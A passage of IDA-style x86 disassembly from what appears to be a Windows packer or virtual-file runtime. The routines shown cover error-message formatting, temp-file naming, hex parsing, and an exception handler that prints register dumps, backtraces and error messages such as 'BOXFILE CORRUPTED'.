[ebp+var_4], 0 push 1000h call sub_41BA4A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_1C], eax push 0 push 0 lea eax, [ebp+var_20] push eax push 400h call ds:dword_424690 ; RtlGetLastWin32Error push eax push 0 push 1300h call ds:dword_42465C ; FormatMessageA cmp [ebp+var_20], 0 jz short loc_41BF49 push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_20] push offset aWindowsErrorSA ; "windows error %s\n at %s(%d)\n" push [ebp+var_1C] call ds:dword_424754 ; wsprintfA add esp, 14h push [ebp+var_1C] call sub_41BC28 pop ecx loc_41BF49: ; CODE XREF: sub_41BEBA+6Aj or [ebp+var_4], 0FFFFFFFFh call sub_41BF54 jmp short loc_41BF73 sub_41BEBA endp ; =============== S U B R O U T I N E ======================================= sub_41BF54 proc near ; CODE XREF: sub_41BEBA+93p ; DATA XREF: _4:00421530o cmp dword ptr [ebp-20h], 0 jz short loc_41BF63 push dword ptr [ebp-20h] call ds:dword_4246E4 ; LocalFree loc_41BF63: ; CODE XREF: sub_41BF54+4j mov eax, [ebp-1Ch] mov [ebp-28h], eax push dword ptr [ebp-28h] call sub_41BACD pop ecx retn sub_41BF54 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BEBA loc_41BF73: ; CODE XREF: sub_41BEBA+98j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_41BEBA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BF82 proc near ; CODE XREF: sub_41925C+A2p ; sub_419995+1DFp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push edi movzx eax, ds:byte_4249A0 and eax, 1 test eax, eax jnz short loc_41BFAE mov al, ds:byte_4249A0 or al, 1 mov ds:byte_4249A0, al call ds:dword_424668 ; GetCurrentProcessId mov ds:dword_424980, eax loc_41BFAE: ; CODE XREF: sub_41BF82+13j cmp [ebp+arg_8], 0 jnz short loc_41BFBE mov eax, ds:dword_424980 mov [ebp+var_10], eax jmp short loc_41BFC4 ; --------------------------------------------------------------------------- loc_41BFBE: ; CODE XREF: sub_41BF82+30j mov eax, [ebp+arg_8] mov [ebp+var_10], eax loc_41BFC4: ; CODE XREF: sub_41BF82+3Aj mov eax, [ebp+var_10] mov [ebp+var_8], eax push 124h call sub_41BA4A pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax push 49h pop ecx xor eax, eax mov edi, [ebp+var_4] rep stosd push [ebp+var_4] push 104h call ds:dword_4246B4 ; GetTempPathA movzx eax, [ebp+arg_4] test eax, eax jz short loc_41C038 mov eax, ds:dword_4289A8 inc eax mov ds:dword_4289A8, eax push ds:dword_4289A8 push [ebp+arg_0] push [ebp+var_8] push offset aMbx@X@X@X_ ; "MBX@%X@%X@%X.###" mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_4] add eax, ecx push eax call ds:dword_424754 ; wsprintfA add esp, 14h jmp short loc_41C08B ; --------------------------------------------------------------------------- loc_41C038: ; CODE XREF: sub_41BF82+7Aj cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_41C067 push [ebp+arg_0] push [ebp+var_8] push offset aMbx@X@X_ ; "MBX@%X@%X.###" mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_4] add eax, ecx push eax call ds:dword_424754 ; wsprintfA add esp, 10h jmp short loc_41C08B ; --------------------------------------------------------------------------- loc_41C067: ; CODE XREF: sub_41BF82+BAj push [ebp+var_8] push offset aMbx@X@_ ; "MBX@%X@*.###" mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_4] add eax, ecx push eax call ds:dword_424754 ; wsprintfA add esp, 0Ch loc_41C08B: ; CODE XREF: sub_41BF82+B4j ; sub_41BF82+E3j mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+var_4] call ds:dword_424748 ; CharUpperBuffA mov eax, [ebp+var_4] pop edi leave retn sub_41BF82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0A8 proc near ; CODE XREF: sub_41C106+E1p ; sub_41C106+150p arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp movzx eax, [ebp+arg_0] cmp eax, 30h jl short loc_41C0C6 movzx eax, [ebp+arg_0] cmp eax, 39h jg short loc_41C0C6 movzx eax, [ebp+arg_0] sub eax, 30h jmp short loc_41C104 ; --------------------------------------------------------------------------- loc_41C0C6: ; CODE XREF: sub_41C0A8+Aj ; sub_41C0A8+13j movzx eax, [ebp+arg_0] cmp eax, 41h jl short loc_41C0E1 movzx eax, [ebp+arg_0] cmp eax, 46h jg short loc_41C0E1 movzx eax, [ebp+arg_0] sub eax, 37h jmp short loc_41C104 ; --------------------------------------------------------------------------- loc_41C0E1: ; CODE XREF: sub_41C0A8+25j ; sub_41C0A8+2Ej movzx eax, [ebp+arg_0] cmp eax, 61h jl short loc_41C0FC movzx eax, [ebp+arg_0] cmp eax, 66h jg short loc_41C0FC movzx eax, [ebp+arg_0] sub eax, 57h jmp short loc_41C104 ; --------------------------------------------------------------------------- loc_41C0FC: ; CODE XREF: sub_41C0A8+40j ; sub_41C0A8+49j mov eax, [ebp+arg_4] mov byte ptr [eax], 1 xor eax, eax loc_41C104: ; CODE XREF: sub_41C0A8+1Cj ; sub_41C0A8+37j ... pop ebp retn sub_41C0A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C106 proc near ; CODE XREF: sub_41553D+278p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421538 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 40h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz loc_41C2E5 call ds:dword_424668 ; GetCurrentProcessId mov [ebp+var_1C], eax push 5Ch push [ebp+arg_0] call sub_4105C0 pop ecx pop ecx mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_41C161 mov eax, [ebp+var_24] inc eax mov [ebp+arg_0], eax loc_41C161: ; CODE XREF: sub_41C106+52j mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_20], ecx cmp [ebp+var_20], 4 jle loc_41C2E5 push 4 pop ecx mov edi, offset aMbx@ ; "MBX@" mov esi, [ebp+arg_0] xor eax, eax mov [ebp+var_34], eax repe cmpsb jz short loc_41C197 sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_34], eax loc_41C197: ; CODE XREF: sub_41C106+87j mov eax, [ebp+var_34] mov [ebp+var_38], eax cmp [ebp+var_38], 0 jnz loc_41C2E5 mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax push 40h push [ebp+arg_0] call sub_410810 pop ecx pop ecx mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_41C2E5 and [ebp+var_30], 0 and [ebp+var_2C], 0 loc_41C1D1: ; CODE XREF: sub_41C106+FCj lea eax, [ebp+var_2C] push eax mov eax, [ebp+arg_0] mov al, [eax] mov byte ptr [ebp+var_3C], al push [ebp+var_3C] mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax call sub_41C0A8 pop ecx pop ecx and eax, 0Fh mov ecx, [ebp+var_30] shl ecx, 4 or eax, ecx mov [ebp+var_30], eax mov eax, [ebp+arg_0] cmp eax, [ebp+var_28] jnz short loc_41C1D1 movzx eax, [ebp+var_2C] test eax, eax jnz loc_41C2E5 mov eax, [ebp+var_30] cmp eax, [ebp+var_1C] jnz loc_41C2E5 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push 2Eh push [ebp+arg_0] call sub_410810 pop ecx pop ecx mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_41C2E5 and [ebp+var_30], 0 loc_41C240: ; CODE XREF: sub_41C106+16Bj lea eax, [ebp+var_2C] push eax mov eax, [ebp+arg_0] mov al, [eax] mov byte ptr [ebp+var_40], al push [ebp+var_40] mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax call sub_41C0A8 pop ecx pop ecx and eax, 0Fh mov ecx, [ebp+var_30] shl ecx, 4 or eax, ecx mov [ebp+var_30], eax mov eax, [ebp+arg_0] cmp eax, [ebp+var_28] jnz short loc_41C240 movzx eax, [ebp+var_2C] test eax, eax jnz short loc_41C2E5 mov [ebp+var_44], offset a_ ; ".###" mov eax, [ebp+arg_0] mov [ebp+var_48], eax loc_41C288: ; CODE XREF: sub_41C106+1B4j mov eax, [ebp+var_48] mov al, [eax] mov [ebp+var_49], al mov ecx, [ebp+var_44] cmp al, [ecx] jnz short loc_41C2C2 cmp [ebp+var_49], 0 jz short loc_41C2BC mov eax, [ebp+var_48] mov al, [eax+1] mov [ebp+var_4A], al mov ecx, [ebp+var_44] cmp al, [ecx+1] jnz short loc_41C2C2 add [ebp+var_48], 2 add [ebp+var_44], 2 cmp [ebp+var_4A], 0 jnz short loc_41C288 loc_41C2BC: ; CODE XREF: sub_41C106+195j and [ebp+var_50], 0 jmp short loc_41C2CA ; --------------------------------------------------------------------------- loc_41C2C2: ; CODE XREF: sub_41C106+18Fj ; sub_41C106+1A6j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_50], eax loc_41C2CA: ; CODE XREF: sub_41C106+1BAj mov eax, [ebp+var_50] mov [ebp+var_54], eax cmp [ebp+var_54], 0 jnz short loc_41C2E5 mov eax, [ebp+var_30] mov [ebp+var_58], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_58] jmp short loc_41C2F8 ; --------------------------------------------------------------------------- loc_41C2E5: ; CODE XREF: sub_41C106+30j ; sub_41C106+6Fj ... or [ebp+var_4], 0FFFFFFFFh jmp short loc_41C2F6 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_41C2F6: ; CODE XREF: sub_41C106+1E3j xor eax, eax loc_41C2F8: ; CODE XREF: sub_41C106+1DDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41C106 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C307 proc near ; CODE XREF: sub_411310+3EAp push ebp mov ebp, esp push offset sub_41C317 call ds:dword_424710 ; SetUnhandledExceptionFilter pop ebp retn sub_41C307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C317 proc near ; CODE XREF: sub_419529+20Bp ; sub_419529+32Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset a__seh__0xXAt0x ; "__SEH__ 0x%x at 0x%x" call sub_41BE16 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+98h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0BCh] push offset aCs0x08xSs0x08x ; "CS :0x%08X SS :0x%08X DS :0x%08X" call sub_41BE16 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+8Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+90h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+94h] push offset aEs0x08xFs0x08x ; "ES :0x%08X FS :0x%08X GS :0x%08X" call sub_41BE16 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] push offset aEax0x08xEdx0x0 ; "EAX:0x%08X EDX:0x%08X ECX:0x%08X" call sub_41BE16 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] push offset aEsp0x08xEbp0x0 ; "ESP:0x%08X EBP:0x%08X EIP:0x%08X" call sub_41BE16 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] push offset aEsi0x08xEdi0x0 ; "ESI:0x%08X EDI:0x%08X" call sub_41BE16 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] call sub_41C87E add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, 11000000h mov [ebp+var_8], eax cmp [ebp+var_8], 16h ja loc_41C557 mov eax, [ebp+var_8] jmp ds:off_41C587[eax*4] loc_41C47E: ; DATA XREF: _3:off_41C587o mov [ebp+var_4], offset aAssertionFaile ; "ASSERTION FAILED" jmp loc_41C557 ; --------------------------------------------------------------------------- loc_41C48A: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C58Bo mov [ebp+var_4], offset aHasNoAccessToE ; "HAS NO ACCESS TO EXECUTABLE" jmp loc_41C557 ; --------------------------------------------------------------------------- loc_41C496: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C58Fo mov [ebp+var_4], offset aExecutableIsNo ; "EXECUTABLE IS NOT NT IMAGE" jmp loc_41C557 ; --------------------------------------------------------------------------- loc_41C4A2: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5B7o mov [ebp+var_4], offset aDynamicLibrary ; "DYNAMIC LIBRARY IS NOT NT IMAGE" jmp loc_41C557 ; --------------------------------------------------------------------------- loc_41C4AE: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C593o mov [ebp+var_4], offset aExecutableCorr ; "EXECUTABLE CORRUPTED" jmp loc_41C557 ; --------------------------------------------------------------------------- loc_41C4BA: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C597o mov [ebp+var_4], offset aPathIsVeryLong ; "PATH IS VERY LONG" jmp loc_41C557 ; --------------------------------------------------------------------------- loc_41C4C6: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C59Bo mov [ebp+var_4], offset aCouldNotOpenBo ; "COULD NOT OPEN BOXFILE" jmp loc_41C557 ; --------------------------------------------------------------------------- loc_41C4D2: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C59Fo mov [ebp+var_4], offset aReadBoxfileErr ; "READ BOXFILE ERROR" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C4DB: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5A3o mov [ebp+var_4], offset aBoxfileCorrupt ; "BOXFILE CORRUPTED" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C4E4: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5A7o mov [ebp+var_4], offset aFeatureIsNotIm ; "FEATURE IS NOT IMPLEMENTED" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C4ED: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5ABo mov [ebp+var_4], offset aOutOfMemory ; "OUT OF MEMORY" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C4F6: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5AFo mov [ebp+var_4], offset aWrappersTableB ; "WRAPPERS TABLE BROKEN" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C4FF: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5B3o mov [ebp+var_4], offset aVirtualprote_0 ; "VIRTUALPROTECT BROKEN" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C508: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5BBo mov [ebp+var_4], offset aCouldNotCreate ; "COULD NOT CREATE HEAP" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C511: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5BFo mov [ebp+var_4], offset aHeapCorrupted ; "HEAP CORRUPTED" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C51A: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5C7o mov [ebp+var_4], offset aDllCorrupted ; "DLL CORRUPTED" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C523: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5D7o mov [ebp+var_4], offset aInvalidCompres ; "INVALID COMPRESSION/ENCRYPTION ALGORITH"... jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C52C: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5C3o mov [ebp+var_4], offset aPackedDllOrBox ; "PACKED DLL OR BOXFILE CORRUPTED" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C535: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5CBo mov [ebp+var_4], offset aHookingDllErro ; "HOOKING DLL ERROR" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C53E: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5CFo mov [ebp+var_4], offset aGetmodulenameE ; "GetModuleName ERROR" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C547: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5D3o mov [ebp+var_4], offset aBadFuulname ; "BAD FUULNAME" jmp short loc_41C557 ; --------------------------------------------------------------------------- loc_41C550: ; CODE XREF: sub_41C317+160j ; DATA XREF: _3:0041C5DFo mov [ebp+var_4], offset aInvalidDllRelo ; "INVALID DLL RELOCATION" loc_41C557: ; CODE XREF: sub_41C317+157j ; sub_41C317+160j ... cmp [ebp+var_4], 0 jz short loc_41C57C push 0 push 0 call ds:dword_424744 ; ChangeDisplaySettingsA push 10h push ds:off_4214EC push [ebp+var_4] push 0 call ds:dword_424750 ; MessageBoxA jmp short loc_41C580 ; --------------------------------------------------------------------------- loc_41C57C: ; CODE XREF: sub_41C317+244j xor eax, eax jmp short locret_41C583 ; --------------------------------------------------------------------------- loc_41C580: ; CODE XREF: sub_41C317+263j push 1 pop eax locret_41C583: ; CODE XREF: sub_41C317+267j leave retn 4 sub_41C317 endp ; --------------------------------------------------------------------------- off_41C587 dd offset loc_41C47E ; DATA XREF: sub_41C317+160r dd offset loc_41C48A dd offset loc_41C496 dd offset loc_41C4AE dd offset loc_41C4BA dd offset loc_41C4C6 dd offset loc_41C4D2 dd offset loc_41C4DB dd offset loc_41C4E4 dd offset loc_41C4ED dd offset loc_41C4F6 dd offset loc_41C4FF dd offset loc_41C4A2 dd offset loc_41C508 dd offset loc_41C511 dd offset loc_41C52C dd offset loc_41C51A dd offset loc_41C535 dd offset loc_41C53E dd offset loc_41C547 dd offset loc_41C523 dd offset loc_41C557 dd offset loc_41C550 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5E3 proc near ; CODE XREF: sub_41C87E+40p ; sub_41C87E+83p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421548 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp mov eax, offset dword_4289F0 test eax, eax jnz short loc_41C61E mov eax, offset aBroken ; "!broken!" jmp loc_41C6F6 ; --------------------------------------------------------------------------- loc_41C61E: ; CODE XREF: sub_41C5E3+2Fj mov ecx, 100h xor eax, eax mov edi, offset dword_4289F0 rep stosd and [ebp+var_4], 0 push 1Ch lea eax, [ebp+var_40] push eax push [ebp+arg_0] call ds:dword_424730 ; VirtualQuery test eax, eax jnz short loc_41C668 push offset a0x08xUnknownUn ; "0x%08x:[unknown]:unknown" push offset dword_4289F0 call ds:dword_424754 ; wsprintfA pop ecx pop ecx mov [ebp+var_44], offset dword_4289F0 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_44] jmp loc_41C6F6 ; --------------------------------------------------------------------------- loc_41C668: ; CODE XREF: sub_41C5E3+5Ej lea eax, [ebp+var_40] push eax call sub_41C7DF pop ecx mov [ebp+var_20], eax and [ebp+var_24], 0 and [ebp+var_1C], 0 lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_0] call sub_41C705 add esp, 10h cmp [ebp+var_20], 0 jnz short loc_41C6A1 mov [ebp+var_20], offset aUnknown ; "unknown" loc_41C6A1: ; CODE XREF: sub_41C5E3+B5j push [ebp+var_1C] push [ebp+var_24] push [ebp+var_20] push [ebp+arg_0] push offset a0x08xS03x08x ; "0x%08x:[%s]:(%03x:%08x)" push offset dword_4289F0 call ds:dword_424754 ; wsprintfA add esp, 18h mov [ebp+var_48], offset dword_4289F0 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_48] jmp short loc_41C6F6 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh push [ebp+arg_0] push offset aBroken0x08x ; "!broken!0x%08x:" push offset dword_4289F0 call ds:dword_424754 ; wsprintfA add esp, 0Ch mov eax, offset dword_4289F0 loc_41C6F6: ; CODE XREF: sub_41C5E3+36j ; sub_41C5E3+80j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41C5E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C705 proc near ; CODE XREF: sub_41C5E3+A9p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch push esi mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov ecx, [ecx+4] add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_10] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] sub ecx, [eax+4] mov [ebp+var_C], ecx and [ebp+var_4], 0 jmp short loc_41C748 ; --------------------------------------------------------------------------- loc_41C741: ; CODE XREF: sub_41C705:loc_41C7D5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41C748: ; CODE XREF: sub_41C705+3Aj mov eax, [ebp+var_10] movzx eax, word ptr [eax+6] cmp [ebp+var_4], eax jnb loc_41C7DA mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_8] mov eax, [ecx+eax+0Ch] mov [ebp+var_18], eax mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_4] imul ecx, 28h mov edx, [ebp+var_8] mov esi, [ebp+var_8] mov eax, [edx+eax+10h] cmp eax, [esi+ecx+8] jbe short loc_41C796 mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_8] mov eax, [ecx+eax+10h] mov [ebp+var_1C], eax jmp short loc_41C7A6 ; --------------------------------------------------------------------------- loc_41C796: ; CODE XREF: sub_41C705+7Dj mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_8] mov eax, [ecx+eax+8] mov [ebp+var_1C], eax loc_41C7A6: ; CODE XREF: sub_41C705+8Fj mov eax, [ebp+var_18] add eax, [ebp+var_1C] mov [ebp+var_14], eax mov eax, [ebp+var_C] cmp eax, [ebp+var_18] jb short loc_41C7D5 mov eax, [ebp+var_C] cmp eax, [ebp+var_14] jnb short loc_41C7D5 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+var_C] sub eax, [ebp+var_18] mov ecx, [ebp+arg_C] mov [ecx], eax jmp short loc_41C7DA ; --------------------------------------------------------------------------- loc_41C7D5: ; CODE XREF: sub_41C705+B0j ; sub_41C705+B8j jmp loc_41C741 ; --------------------------------------------------------------------------- loc_41C7DA: ; CODE XREF: sub_41C705+4Dj ; sub_41C705+CEj xor al, al pop esi leave retn sub_41C705 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7DF proc near ; CODE XREF: sub_41C5E3+89p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push edi push 41h pop ecx xor eax, eax mov edi, offset dword_428DF0 rep stosd push 104h push offset dword_428DF0 mov eax, [ebp+arg_0] push dword ptr [eax+4] call ds:dword_424694 ; GetModuleFileNameA test eax, eax jnz short loc_41C80F xor eax, eax jmp short loc_41C87B ; --------------------------------------------------------------------------- loc_41C80F: ; CODE XREF: sub_41C7DF+2Aj push 5Ch push offset dword_428DF0 call sub_4105C0 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41C82C mov eax, [ebp+var_4] inc eax jmp short loc_41C87B ; --------------------------------------------------------------------------- loc_41C82C: ; CODE XREF: sub_41C7DF+45j mov edi, offset dword_428DF0 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 50h pop eax cmp eax, ecx sbb eax, eax neg eax mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41C876 mov eax, [ebp+var_8] mov ds:byte_428DA0[eax], 2Eh mov eax, [ebp+var_8] mov ds:byte_428DA1[eax], 2Eh mov eax, [ebp+var_8] mov ds:byte_428DA2[eax], 2Eh mov eax, [ebp+var_8] lea eax, byte_428DA0[eax] jmp short loc_41C87B ; --------------------------------------------------------------------------- loc_41C876: ; CODE XREF: sub_41C7DF+6Cj mov eax, offset dword_428DF0 loc_41C87B: ; CODE XREF: sub_41C7DF+2Ej ; sub_41C7DF+4Bj ... pop edi leave retn sub_41C7DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C87E proc near ; CODE XREF: sub_41C317+132p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421558 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push offset aBacktrace ; "-- backtrace --" call sub_41BE16 pop ecx mov eax, [ebp+arg_4] mov [ebp+var_1C], eax and [ebp+var_4], 0 push [ebp+arg_0] call sub_41C5E3 pop ecx push eax push offset aS ; " %s" call sub_41BE16 pop ecx pop ecx and [ebp+var_20], 0 jmp short loc_41C8E6 ; --------------------------------------------------------------------------- loc_41C8D7: ; CODE XREF: sub_41C87E+96j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+var_1C] mov eax, [eax] mov [ebp+var_1C], eax loc_41C8E6: ; CODE XREF: sub_41C87E+57j cmp [ebp+var_20], 40h jnb short loc_41C916 cmp [ebp+var_1C], 0 jz short loc_41C916 mov eax, [ebp+var_1C] cmp dword ptr [eax+4], 0 jz short loc_41C916 mov eax, [ebp+var_1C] push dword ptr [eax+4] call sub_41C5E3 pop ecx push eax push offset aS ; " %s" call sub_41BE16 pop ecx pop ecx jmp short loc_41C8D7 ; --------------------------------------------------------------------------- loc_41C916: ; CODE XREF: sub_41C87E+6Cj ; sub_41C87E+72j ... or [ebp+var_4], 0FFFFFFFFh jmp short loc_41C932 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] push offset a___OpssBrokenB ; " ... opss, broken by SEH" call sub_41BE16 pop ecx or [ebp+var_4], 0FFFFFFFFh loc_41C932: ; CODE XREF: sub_41C87E+9Cj push offset aStack ; "--stack--" call sub_41BE16 pop ecx mov eax, [ebp+arg_8] mov [ebp+var_1C], 